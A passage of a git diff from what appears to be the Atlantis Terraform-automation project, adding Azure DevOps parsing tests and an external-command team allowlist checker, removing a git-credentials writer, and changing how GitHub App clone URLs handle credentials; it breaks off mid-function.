parser.ParseAzureDevopsRepo(&repo) + Ok(t, err) + Equals(t, models.Repo{ + Owner: "owner/project", + FullName: "owner/project/repo", + CloneURL: "https://azuredevops-user:azuredevops-token@dev.azure.com/owner/project/_git/repo", + SanitizedCloneURL: "https://azuredevops-user:@dev.azure.com/owner/project/_git/repo", + Name: "repo", + VCSHost: models.VCSHost{ + Hostname: "dev.azure.com", + Type: models.AzureDevops, + }, + }, r) } +func TestParseAzureDevopsRepo_LowercasesOwner(t *testing.T) { + parser := events.EventParser{ + AzureDevopsUser: "azuredevops-user", + AzureDevopsToken: "azuredevops-token", + } + + tests := []struct { + url string + expected string + }{ + {"https://dev.azure.com/MyCompany/project/_git/repo", "mycompany"}, + {"https://MYCOMPANY.visualstudio.com/project/_git/repo", "mycompany"}, + {"https://AnotherOrg.visualstudio.com/project/_git/repo", "anotherorg"}, + } + + for _, tt := range tests { + repo := azuredevops.GitRepository{} + repo.WebURL = azuredevops.String(tt.url) + repo.ParentRepository = nil + repo.Project = &azuredevops.TeamProjectReference{Name: azuredevops.String("project")} + repo.Name = azuredevops.String("repo") + + r, err := parser.ParseAzureDevopsRepo(&repo) + Ok(t, err) + // Only check the owner part + parts := strings.Split(r.FullName, "/") + owner := parts[0] + Equals(t, tt.expected, owner) + } +} func TestParseAzureDevopsPullEvent(t *testing.T) { _, _, _, _, _, err := parser.ParseAzureDevopsPullEvent(ADPullEvent) Ok(t, err) @@ -1313,3 +1516,179 @@ func TestParseAzureDevopsPull(t *testing.T) { Equals(t, expBaseRepo, actBaseRepo) Equals(t, expBaseRepo, actHeadRepo) } + +func TestParseAzureDevopsSelfHostedRepo(t *testing.T) { + // this should be successful + repo := ADSelfRepo + repo.ParentRepository = nil + r, err := parser.ParseAzureDevopsRepo(&repo) + Ok(t, err) + Equals(t, models.Repo{ + Owner: "owner/project", + FullName: "owner/project/repo", + CloneURL: "https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo", + SanitizedCloneURL: "https://azuredevops-user:@devops.abc.com/owner/project/_git/repo", + Name: "repo", + VCSHost: models.VCSHost{ + Hostname: "devops.abc.com", + Type: models.AzureDevops, + }, + }, r) + +} + +func TestParseAzureDevopsSelfHostedPullEvent(t *testing.T) { + _, _, _, _, _, err := parser.ParseAzureDevopsPullEvent(ADSelfPullEvent) + Ok(t, err) + + testPull := deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.LastMergeSourceCommit.CommitID = nil + _, _, _, err = parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "lastMergeSourceCommit.commitID is null", err) + + testPull = deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.URL = nil + _, _, _, err = parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "url is null", err) + testEvent := deepcopy.Copy(ADSelfPullEvent).(azuredevops.Event) + resource := deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest) + resource.CreatedBy = nil + testEvent.Resource = resource + _, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent) + ErrEquals(t, "CreatedBy is null", err) + + testEvent = deepcopy.Copy(ADSelfPullEvent).(azuredevops.Event) + resource = deepcopy.Copy(testEvent.Resource).(*azuredevops.GitPullRequest) + resource.CreatedBy.UniqueName = azuredevops.String("") + testEvent.Resource = resource + _, _, _, _, _, err = parser.ParseAzureDevopsPullEvent(testEvent) + ErrEquals(t, "CreatedBy.UniqueName is null", err) + + actPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseAzureDevopsPullEvent(ADSelfPullEvent) + Ok(t, err) + expBaseRepo := models.Repo{ + Owner: "owner/project", + FullName: "owner/project/repo", + CloneURL: "https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo", + SanitizedCloneURL: "https://azuredevops-user:@devops.abc.com/owner/project/_git/repo", + Name: "repo", + VCSHost: models.VCSHost{ + Hostname: "devops.abc.com", + Type: models.AzureDevops, + }, + } + Equals(t, expBaseRepo, actBaseRepo) + Equals(t, expBaseRepo, actHeadRepo) + Equals(t, models.PullRequest{ + URL: ADSelfPull.GetURL(), + Author: ADSelfPull.CreatedBy.GetUniqueName(), + HeadBranch: "feature/sourceBranch", + BaseBranch: "targetBranch", + HeadCommit: ADSelfPull.LastMergeSourceCommit.GetCommitID(), + Num: ADSelfPull.GetPullRequestID(), + State: models.OpenPullState, + BaseRepo: expBaseRepo, + }, actPull) + Equals(t, models.OpenedPullEvent, evType) + Equals(t, models.User{Username: "user@example.com"}, actUser) +} + +func TestParseAzureDevopsSelfHostedPullEvent_EventType(t *testing.T) { + cases := []struct { + action string + exp models.PullRequestEventType + }{ + { + action: "git.pullrequest.updated", + exp: models.UpdatedPullEvent, + }, + { + action: "git.pullrequest.created", + exp: models.OpenedPullEvent, + }, + { + action: "git.pullrequest.updated", + exp: models.ClosedPullEvent, + }, + { + action: "anything_else", + exp: models.OtherPullEvent, + }, + } + + for _, c := range cases { + t.Run(c.action, func(t *testing.T) { + event := deepcopy.Copy(ADSelfPullEvent).(azuredevops.Event) + if c.exp == models.ClosedPullEvent { + event = deepcopy.Copy(ADSelfPullClosedEvent).(azuredevops.Event) + } + event.EventType = c.action + _, actType, _, _, _, err := parser.ParseAzureDevopsPullEvent(event) + Ok(t, err) + Equals(t, c.exp, actType) + }) + } +} + +func TestParseAzureSelfHostedDevopsPull(t *testing.T) { + testPull := deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.LastMergeSourceCommit.CommitID = nil + _, _, _, err := parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "lastMergeSourceCommit.commitID is null", err) + + testPull = deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.URL = nil + _, _, _, err = parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "url is null", err) + + testPull = deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.SourceRefName = nil + _, _, _, err = parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "sourceRefName (branch name) is null", err) + + testPull = deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.TargetRefName = nil + _, _, _, err = parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "targetRefName (branch name) is null", err) + + testPull = deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.CreatedBy = nil + _, _, _, err = parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "CreatedBy is null", err) + + testPull = deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.CreatedBy.UniqueName = nil + _, _, _, err = parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "CreatedBy.UniqueName is null", err) + + testPull = deepcopy.Copy(ADSelfPull).(azuredevops.GitPullRequest) + testPull.PullRequestID = nil + _, _, _, err = parser.ParseAzureDevopsPull(&testPull) + ErrEquals(t, "pullRequestId is null", err) + + actPull, actBaseRepo, actHeadRepo, err := parser.ParseAzureDevopsPull(&ADSelfPull) + Ok(t, err) + expBaseRepo := models.Repo{ + Owner: "owner/project", + FullName: "owner/project/repo", + CloneURL: "https://azuredevops-user:azuredevops-token@devops.abc.com/owner/project/_git/repo", + SanitizedCloneURL: "https://azuredevops-user:@devops.abc.com/owner/project/_git/repo", + Name: "repo", + VCSHost: models.VCSHost{ + Hostname: "devops.abc.com", + Type: models.AzureDevops, + }, + } + Equals(t, models.PullRequest{ + URL: ADSelfPull.GetURL(), + Author: ADSelfPull.CreatedBy.GetUniqueName(), + HeadBranch: "feature/sourceBranch", + BaseBranch: "targetBranch", + HeadCommit: ADSelfPull.LastMergeSourceCommit.GetCommitID(), + Num: ADSelfPull.GetPullRequestID(), + State: models.OpenPullState, + BaseRepo: expBaseRepo, + }, actPull) + Equals(t, expBaseRepo, actBaseRepo) + Equals(t, expBaseRepo, actHeadRepo) +} diff --git a/server/events/external_team_allowlist_checker.go b/server/events/external_team_allowlist_checker.go new file mode 100644 index 0000000000..6592b6b181 --- /dev/null +++ b/server/events/external_team_allowlist_checker.go @@ -0,0 +1,63 @@ +package events + +import ( + "fmt" + "strings" + + "github.com/runatlantis/atlantis/server/core/runtime" + + "github.com/runatlantis/atlantis/server/events/models" +) + +type ExternalTeamAllowlistChecker struct { + Command string + ExtraArgs []string + ExternalTeamAllowlistRunner runtime.ExternalTeamAllowlistRunner +} + +func (checker *ExternalTeamAllowlistChecker) HasRules() bool { + return true +} + +func (checker *ExternalTeamAllowlistChecker) IsCommandAllowedForTeam(ctx models.TeamAllowlistCheckerContext, team string, command string) bool { + cmd := checker.buildCommandString(ctx, []string{team}, command) + out, err := checker.ExternalTeamAllowlistRunner.Run(ctx, "sh", "-c", cmd) + if err != nil { + return false + } + + return checker.checkOutputResults(out) +} + +func (checker *ExternalTeamAllowlistChecker) IsCommandAllowedForAnyTeam(ctx models.TeamAllowlistCheckerContext, teams []string, command string) bool { + cmd := checker.buildCommandString(ctx, teams, command) + out, err := checker.ExternalTeamAllowlistRunner.Run(ctx, "sh", "-c", cmd) + if err != nil { + return false + } + + return checker.checkOutputResults(out) +} + +func (checker *ExternalTeamAllowlistChecker) AllTeams() []string { + return []string{} +} + +func (checker *ExternalTeamAllowlistChecker) buildCommandString(ctx models.TeamAllowlistCheckerContext, teams []string, command string) string { + // Build command string + // Format is "$external_cmd $external_args $command $repo $teams" + cmdArr := append([]string{checker.Command}, checker.ExtraArgs...) + orgTeams := make([]string, len(teams)) + for i, team := range teams { + orgTeams[i] = fmt.Sprintf("%s/%s", ctx.BaseRepo.Owner, team) + } + + teamStr := strings.Join(orgTeams, " ") + return strings.Join(append(cmdArr, command, ctx.BaseRepo.FullName, teamStr), " ") +} + +func (checker *ExternalTeamAllowlistChecker) checkOutputResults(output string) bool { + lines := strings.Split(strings.TrimSpace(output), "\n") + lastLine := lines[len(lines)-1] + return strings.EqualFold(lastLine, "pass") +} diff --git a/server/events/external_team_allowlist_checker_test.go b/server/events/external_team_allowlist_checker_test.go new file mode 100644 index 0000000000..f6ee136b39 --- /dev/null +++ b/server/events/external_team_allowlist_checker_test.go @@ -0,0 +1,77 @@ +package events_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + + . "github.com/petergtz/pegomock/v4" + runtime_mocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" + "github.com/runatlantis/atlantis/server/events" + . "github.com/runatlantis/atlantis/testing" +) + +var extTeamAllowlistChecker events.ExternalTeamAllowlistChecker +var extTeamAllowlistCheckerRunner *runtime_mocks.MockExternalTeamAllowlistRunner + +func externalTeamAllowlistCheckerSetup(t *testing.T) { + RegisterMockTestingT(t) + extTeamAllowlistCheckerRunner = runtime_mocks.NewMockExternalTeamAllowlistRunner() + + extTeamAllowlistChecker = events.ExternalTeamAllowlistChecker{ + ExternalTeamAllowlistRunner: extTeamAllowlistCheckerRunner, + } +} + +func TestIsCommandAllowedForTeam(t *testing.T) { + ctx := models.TeamAllowlistCheckerContext{ + Log: logging.NewNoopLogger(t), + } + + t.Run("allowed", func(t *testing.T) { + externalTeamAllowlistCheckerSetup(t) + + When(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](), + Any[string]())).ThenReturn("pass\n", nil) + + res := extTeamAllowlistChecker.IsCommandAllowedForTeam(ctx, "foo", "plan") + Equals(t, true, res) + }) + + t.Run("denied", func(t *testing.T) { + externalTeamAllowlistCheckerSetup(t) + + When(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](), + Any[string]())).ThenReturn("nothing found\n", nil) + + res := extTeamAllowlistChecker.IsCommandAllowedForTeam(ctx, "foo", "plan") + Equals(t, false, res) + }) +} + +func TestIsCommandAllowedForAnyTeam(t *testing.T) { + ctx := models.TeamAllowlistCheckerContext{ + Log: logging.NewNoopLogger(t), + } + + t.Run("allowed", func(t *testing.T) { + externalTeamAllowlistCheckerSetup(t) + + When(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](), + Any[string]())).ThenReturn("pass\n", nil) + + res := extTeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, []string{"foo"}, "plan") + Equals(t, true, res) + }) + + t.Run("denied", func(t *testing.T) { + externalTeamAllowlistCheckerSetup(t) + + When(extTeamAllowlistCheckerRunner.Run(Any[models.TeamAllowlistCheckerContext](), Any[string](), Any[string](), + Any[string]())).ThenReturn("nothing found\n", nil) + + res := extTeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, []string{"foo"}, "plan") + Equals(t, false, res) + }) +} diff --git a/server/events/git_cred_writer.go b/server/events/git_cred_writer.go deleted file mode 100644 index ec27ade0a2..0000000000 --- a/server/events/git_cred_writer.go +++ /dev/null @@ -1,109 +0,0 @@ -package events - -import ( - "fmt" - "io/ioutil" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/logging" -) - -// WriteGitCreds generates a .git-credentials file containing the username and token -// used for authenticating with git over HTTPS -// It will create the file in home/.git-credentials -// If ghAccessToken is true we will look for a line starting with https://x-access-token and ending with gitHostname and replace it. -func WriteGitCreds(gitUser string, gitToken string, gitHostname string, home string, logger *logging.SimpleLogger, ghAccessToken bool) error { - const credsFilename = ".git-credentials" - credsFile := filepath.Join(home, credsFilename) - credsFileContentsPattern := `https://%s:%s@%s` - config := fmt.Sprintf(credsFileContentsPattern, gitUser, gitToken, gitHostname) - - // If the file doesn't exist, write it. - if _, err := os.Stat(credsFile); err != nil { - if err := ioutil.WriteFile(credsFile, []byte(config), 0600); err != nil { - return errors.Wrapf(err, "writing generated %s file with user, token and hostname to %s", credsFilename, credsFile) - } - logger.Info("wrote git credentials to %s", credsFile) - } else { - hasLine, err := fileHasLine(config, credsFile) - if err != nil { - return err - } - if hasLine { - logger.Debug("git credentials file has expected contents, not modifying") - return nil - } - - if ghAccessToken { - // Need to replace the line. - if err := fileLineReplace(config, gitUser, gitHostname, credsFile); err != nil { - return errors.Wrap(err, "replacing git credentials line for github app") - } - logger.Info("updated git app credentials in %s", credsFile) - } else { - // Otherwise we need to append the line. - if err := fileAppend(config, credsFile); err != nil { - return err - } - logger.Info("wrote git credentials to %s", credsFile) - } - } - - credentialCmd := exec.Command("git", "config", "--global", "credential.helper", "store") - if out, err := credentialCmd.CombinedOutput(); err != nil { - return errors.Wrapf(err, "There was an error running %s: %s", strings.Join(credentialCmd.Args, " "), string(out)) - } - logger.Info("successfully ran %s", strings.Join(credentialCmd.Args, " ")) - - urlCmd := exec.Command("git", "config", "--global", fmt.Sprintf("url.https://%s@%s.insteadOf", gitUser, gitHostname), fmt.Sprintf("ssh://git@%s", gitHostname)) // nolint: gosec - if out, err := urlCmd.CombinedOutput(); err != nil { - return errors.Wrapf(err, "There was an error running %s: %s", strings.Join(urlCmd.Args, " "), string(out)) - } - logger.Info("successfully ran %s", strings.Join(urlCmd.Args, " ")) - return nil -} - -func fileHasLine(line string, filename string) (bool, error) { - currContents, err := ioutil.ReadFile(filename) // nolint: gosec - if err != nil { - return false, errors.Wrapf(err, "reading %s", filename) - } - for _, l := range strings.Split(string(currContents), "\n") { - if l == line { - return true, nil - } - } - return false, nil -} - -func fileAppend(line string, filename string) error { - currContents, err := ioutil.ReadFile(filename) // nolint: gosec - if err != nil { - return err - } - if len(currContents) > 0 && !strings.HasSuffix(string(currContents), "\n") { - line = "\n" + line - } - return ioutil.WriteFile(filename, []byte(string(currContents)+line), 0600) -} - -func fileLineReplace(line, user, host, filename string) error { - currContents, err := ioutil.ReadFile(filename) // nolint: gosec - if err != nil { - return err - } - prevLines := strings.Split(string(currContents), "\n") - var newLines []string - for _, l := range prevLines { - if strings.HasPrefix(l, "https://"+user) && strings.HasSuffix(l, host) { - newLines = append(newLines, line) - } else { - newLines = append(newLines, l) - } - } - return ioutil.WriteFile(filename, []byte(strings.Join(newLines, "\n")), 0600) -} diff --git a/server/events/git_cred_writer_test.go b/server/events/git_cred_writer_test.go deleted file mode 100644 index de025ee51c..0000000000 --- a/server/events/git_cred_writer_test.go +++ /dev/null @@ -1,136 +0,0 @@ -package events_test - -import ( - "fmt" - "io/ioutil" - "os/exec" - "path/filepath" - "testing" - - "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/logging" - . "github.com/runatlantis/atlantis/testing" -) - -var logger *logging.SimpleLogger - -// Test that we write the file as expected -func TestWriteGitCreds_WriteFile(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - err := events.WriteGitCreds("user", "token", "hostname", tmp, logger, false) - Ok(t, err) - - expContents := `https://user:token@hostname` - - actContents, err := ioutil.ReadFile(filepath.Join(tmp, ".git-credentials")) - Ok(t, err) - Equals(t, expContents, string(actContents)) -} - -// Test that if the file already exists and it doesn't have the line we would -// have written, we write it. -func TestWriteGitCreds_Appends(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - credsFile := filepath.Join(tmp, ".git-credentials") - err := ioutil.WriteFile(credsFile, []byte("contents"), 0600) - Ok(t, err) - - err = events.WriteGitCreds("user", "token", "hostname", tmp, logger, false) - Ok(t, err) - - expContents := "contents\nhttps://user:token@hostname" - actContents, err := ioutil.ReadFile(filepath.Join(tmp, ".git-credentials")) - Ok(t, err) - Equals(t, expContents, string(actContents)) -} - -// Test that if the file already exists and it already has the line expected -// we do nothing. -func TestWriteGitCreds_NoModification(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - credsFile := filepath.Join(tmp, ".git-credentials") - contents := "line1\nhttps://user:token@hostname\nline2" - err := ioutil.WriteFile(credsFile, []byte(contents), 0600) - Ok(t, err) - - err = events.WriteGitCreds("user", "token", "hostname", tmp, logger, false) - Ok(t, err) - actContents, err := ioutil.ReadFile(filepath.Join(tmp, ".git-credentials")) - Ok(t, err) - Equals(t, contents, string(actContents)) -} - -// Test that the github app credentials get replaced. -func TestWriteGitCreds_ReplaceApp(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - credsFile := filepath.Join(tmp, ".git-credentials") - contents := "line1\nhttps://x-access-token:v1.87dddddddddddddddd@github.com\nline2" - err := ioutil.WriteFile(credsFile, []byte(contents), 0600) - Ok(t, err) - - err = events.WriteGitCreds("x-access-token", "token", "github.com", tmp, logger, true) - Ok(t, err) - expContets := "line1\nhttps://x-access-token:token@github.com\nline2" - actContents, err := ioutil.ReadFile(filepath.Join(tmp, ".git-credentials")) - Ok(t, err) - Equals(t, expContets, string(actContents)) -} - -// Test that if we can't read the existing file to see if the contents will be -// the same that we just error out. -func TestWriteGitCreds_ErrIfCannotRead(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - credsFile := filepath.Join(tmp, ".git-credentials") - err := ioutil.WriteFile(credsFile, []byte("can't see me!"), 0000) - Ok(t, err) - - expErr := fmt.Sprintf("open %s: permission denied", credsFile) - actErr := events.WriteGitCreds("user", "token", "hostname", tmp, logger, false) - ErrContains(t, expErr, actErr) -} - -// Test that if we can't write, we error out. -func TestWriteGitCreds_ErrIfCannotWrite(t *testing.T) { - credsFile := "/this/dir/does/not/exist/.git-credentials" - expErr := fmt.Sprintf("writing generated .git-credentials file with user, token and hostname to %s: open %s: no such file or directory", credsFile, credsFile) - actErr := events.WriteGitCreds("user", "token", "hostname", "/this/dir/does/not/exist", logger, false) - ErrEquals(t, expErr, actErr) -} - -// Test that git is actually configured to use the credentials -func TestWriteGitCreds_ConfigureGitCredentialHelper(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - err := events.WriteGitCreds("user", "token", "hostname", tmp, logger, false) - Ok(t, err) - - expOutput := `store` - actOutput, err := exec.Command("git", "config", "--global", "credential.helper").Output() - Ok(t, err) - Equals(t, expOutput+"\n", string(actOutput)) -} - -// Test that git is configured to use https instead of ssh -func TestWriteGitCreds_ConfigureGitUrlOverride(t *testing.T) { - tmp, cleanup := TempDir(t) - defer cleanup() - - err := events.WriteGitCreds("user", "token", "hostname", tmp, logger, false) - Ok(t, err) - - expOutput := `ssh://git@hostname` - actOutput, err := exec.Command("git", "config", "--global", "url.https://user@hostname.insteadof").Output() - Ok(t, err) - Equals(t, expOutput+"\n", string(actOutput)) -} diff --git a/server/events/github_app_working_dir.go b/server/events/github_app_working_dir.go index 9e364eb413..fe98a53f95 100644 --- a/server/events/github_app_working_dir.go +++ b/server/events/github_app_working_dir.go @@ -1,16 +1,15 @@ package events import ( - "fmt" "strings" - "github.com/mitchellh/go-homedir" - "github.com/pkg/errors" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" ) +const redactedReplacement = "://:@" + // GithubAppWorkingDir implements WorkingDir. // It acts as a proxy to an instance of WorkingDir that refreshes the app's token // before every clone, given Github App tokens expire quickly @@ -21,35 +20,28 @@ type GithubAppWorkingDir struct { } // Clone writes a fresh token for Github App authentication -func (g *GithubAppWorkingDir) Clone(log *logging.SimpleLogger, headRepo models.Repo, p models.PullRequest, workspace string) (string, bool, error) { - - log.Info("Refreshing git tokens for Github App") - - token, err := g.Credentials.GetToken() - if err != nil { - return "", false, errors.Wrap(err, "getting github token") - } - - home, err := homedir.Dir() - if err != nil { - return "", false, errors.Wrap(err, "getting home dir to write ~/.git-credentials file") - } - - // https://developer.github.com/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation - if err := WriteGitCreds("x-access-token", token, g.GithubHostname, home, log, true); err != nil { - return "", false, err - } +func (g *GithubAppWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) { + g.fixReposURL(&p, &headRepo) + return g.WorkingDir.Clone(logger, headRepo, p, workspace) +} - baseRepo := &p.BaseRepo +func (g *GithubAppWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) { + g.fixReposURL(&p, &headRepo) + return g.WorkingDir.MergeAgain(logger, headRepo, p, workspace) +} +func (g *GithubAppWorkingDir) fixReposURL(p *models.PullRequest, headRepo *models.Repo) { // Realistically, this is a super brittle way of supporting clones using gh app installation tokens // This URL should be built during Repo creation and the struct should be immutable going forward. // Doing this requires a larger refactor however, and can probably be coupled with supporting > 1 installation - authURL := fmt.Sprintf("://x-access-token:%s", token) - baseRepo.CloneURL = strings.Replace(baseRepo.CloneURL, "://:", authURL, 1) - baseRepo.SanitizedCloneURL = strings.Replace(baseRepo.SanitizedCloneURL, "://:", "://x-access-token:", 1) - headRepo.CloneURL = strings.Replace(headRepo.CloneURL, "://:", authURL, 1) - headRepo.SanitizedCloneURL = strings.Replace(baseRepo.SanitizedCloneURL, "://:", "://x-access-token:", 1) - return g.WorkingDir.Clone(log, headRepo, p, workspace) + // This removes the credential part from the url and leaves us with the raw http url + // git will then pick up credentials from the credential store which is set in vcs.WriteGitCreds. + // Git credentials will then be rotated by vcs.GitCredsTokenRotator + replacement := "://" + p.BaseRepo.CloneURL = strings.Replace(p.BaseRepo.CloneURL, "://:@", replacement, 1) + p.BaseRepo.SanitizedCloneURL = strings.Replace(p.BaseRepo.SanitizedCloneURL, redactedReplacement, replacement, 1) + headRepo.CloneURL = strings.Replace(headRepo.CloneURL, "://:@", replacement, 1) + headRepo.SanitizedCloneURL = strings.Replace(p.BaseRepo.SanitizedCloneURL, redactedReplacement, replacement, 1) + } diff --git a/server/events/github_app_working_dir_test.go b/server/events/github_app_working_dir_test.go index 9dbcbd77bf..a0c688314d 100644 --- a/server/events/github_app_working_dir_test.go +++ b/server/events/github_app_working_dir_test.go @@ -4,25 +4,26 @@ import ( "fmt" "testing" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events" eventMocks "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" - "github.com/runatlantis/atlantis/server/events/vcs/fixtures" vcsMocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" + "github.com/runatlantis/atlantis/server/events/vcs/testdata" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // Test that if we don't have any existing files, we check out the repo with a github app. func TestClone_GithubAppNoneExisting(t *testing.T) { // Initialize the git repo. - repoDir, cleanup := initRepo(t) - defer cleanup() + repoDir := initRepo(t) expCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") - dataDir, cleanup2 := TempDir(t) - defer cleanup2() + dataDir := t.TempDir() + + logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, @@ -30,26 +31,21 @@ func TestClone_GithubAppNoneExisting(t *testing.T) { TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), } - tmpDir, cleanup3 := DirStructure(t, map[string]interface{}{ - "key.pem": fixtures.GithubPrivateKey, - }) - defer cleanup3() - defer disableSSLVerification()() - testServer, err := fixtures.GithubAppTestServer(t) + testServer, err := testdata.GithubAppTestServer(t) Ok(t, err) gwd := &events.GithubAppWorkingDir{ WorkingDir: wd, Credentials: &vcs.GithubAppCredentials{ - KeyPath: fmt.Sprintf("%v/key.pem", tmpDir), + Key: []byte(testdata.GithubPrivateKey), AppID: 1, Hostname: testServer, }, GithubHostname: testServer, } - cloneDir, _, err := gwd.Clone(nil, models.Repo{}, models.PullRequest{ + cloneDir, err := gwd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", }, "default") @@ -61,6 +57,10 @@ func TestClone_GithubAppNoneExisting(t *testing.T) { } func TestClone_GithubAppSetsCorrectUrl(t *testing.T) { + logger := logging.NewNoopLogger(t) + + RegisterMockTestingT(t) + workingDir := eventMocks.NewMockWorkingDir() credentials := vcsMocks.NewMockGithubCredentials() @@ -84,15 +84,63 @@ func TestClone_GithubAppSetsCorrectUrl(t *testing.T) { headRepo := baseRepo modifiedBaseRepo := baseRepo - modifiedBaseRepo.CloneURL = "https://x-access-token:token@github.com/runatlantis/atlantis.git" - modifiedBaseRepo.SanitizedCloneURL = "https://x-access-token:@github.com/runatlantis/atlantis.git" + // remove credentials from both urls since we want to use the credential store + modifiedBaseRepo.CloneURL = "https://github.com/runatlantis/atlantis.git" + modifiedBaseRepo.SanitizedCloneURL = "https://github.com/runatlantis/atlantis.git" When(credentials.GetToken()).ThenReturn("token", nil) - When(workingDir.Clone(nil, modifiedBaseRepo, models.PullRequest{BaseRepo: modifiedBaseRepo}, "default")).ThenReturn( - "", true, nil, + When(workingDir.Clone(Any[logging.SimpleLogging](), Eq(modifiedBaseRepo), Eq(models.PullRequest{BaseRepo: modifiedBaseRepo}), + Eq("default"))).ThenReturn("", nil) + + _, err := ghAppWorkingDir.Clone(logger, headRepo, models.PullRequest{BaseRepo: baseRepo}, "default") + + workingDir.VerifyWasCalledOnce().Clone(logger, modifiedBaseRepo, models.PullRequest{BaseRepo: modifiedBaseRepo}, "default") + + Ok(t, err) +} + +// Similar to `Clone()` +// `MergeAgain()` should set the repo URL correctly +func TestMergeAgain_GithubAppSetsCorrectUrl(t *testing.T) { + logger := logging.NewNoopLogger(t) + + RegisterMockTestingT(t) + + workingDir := eventMocks.NewMockWorkingDir() + + credentials := vcsMocks.NewMockGithubCredentials() + + ghAppWorkingDir := events.GithubAppWorkingDir{ + WorkingDir: workingDir, + Credentials: credentials, + GithubHostname: "some-host", + } + + baseRepo, _ := models.NewRepo( + models.Github, + "runatlantis/atlantis", + "https://github.com/runatlantis/atlantis.git", + + // user and token have to be blank otherwise this proxy wouldn't be invoked to begin with + "", + "", ) - _, success, _ := ghAppWorkingDir.Clone(nil, headRepo, models.PullRequest{BaseRepo: baseRepo}, "default") + headRepo := baseRepo - Assert(t, success == true, "clone url mutation error") + modifiedBaseRepo := baseRepo + // remove credentials from both urls since we want to use the credential store + modifiedBaseRepo.CloneURL = "https://github.com/runatlantis/atlantis.git" + modifiedBaseRepo.SanitizedCloneURL = "https://github.com/runatlantis/atlantis.git" + + When(credentials.GetToken()).ThenReturn("token", nil) + When(workingDir.MergeAgain(Any[logging.SimpleLogging](), Eq(modifiedBaseRepo), Eq(models.PullRequest{BaseRepo: modifiedBaseRepo}), + Eq("default"))).ThenReturn(false, nil) + + _, err := ghAppWorkingDir.MergeAgain(logger, headRepo, models.PullRequest{BaseRepo: baseRepo}, "default") + + // MergeAgain + workingDir.VerifyWasCalledOnce().MergeAgain(logger, modifiedBaseRepo, models.PullRequest{BaseRepo: modifiedBaseRepo}, "default") + + Ok(t, err) } diff --git a/server/events/import_command_runner.go b/server/events/import_command_runner.go new file mode 100644 index 0000000000..7f850ca409 --- /dev/null +++ b/server/events/import_command_runner.go @@ -0,0 +1,69 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/vcs" +) + +func NewImportCommandRunner( + pullUpdater *PullUpdater, + pullReqStatusFetcher vcs.PullReqStatusFetcher, + prjCmdBuilder ProjectImportCommandBuilder, + prjCmdRunner ProjectImportCommandRunner, + SilenceNoProjects bool, +) *ImportCommandRunner { + return &ImportCommandRunner{ + pullUpdater: pullUpdater, + pullReqStatusFetcher: pullReqStatusFetcher, + prjCmdBuilder: prjCmdBuilder, + prjCmdRunner: prjCmdRunner, + SilenceNoProjects: SilenceNoProjects, + } +} + +type ImportCommandRunner struct { + pullUpdater *PullUpdater + pullReqStatusFetcher vcs.PullReqStatusFetcher + prjCmdBuilder ProjectImportCommandBuilder + prjCmdRunner ProjectImportCommandRunner + SilenceNoProjects bool +} + +func (v *ImportCommandRunner) Run(ctx *command.Context, cmd 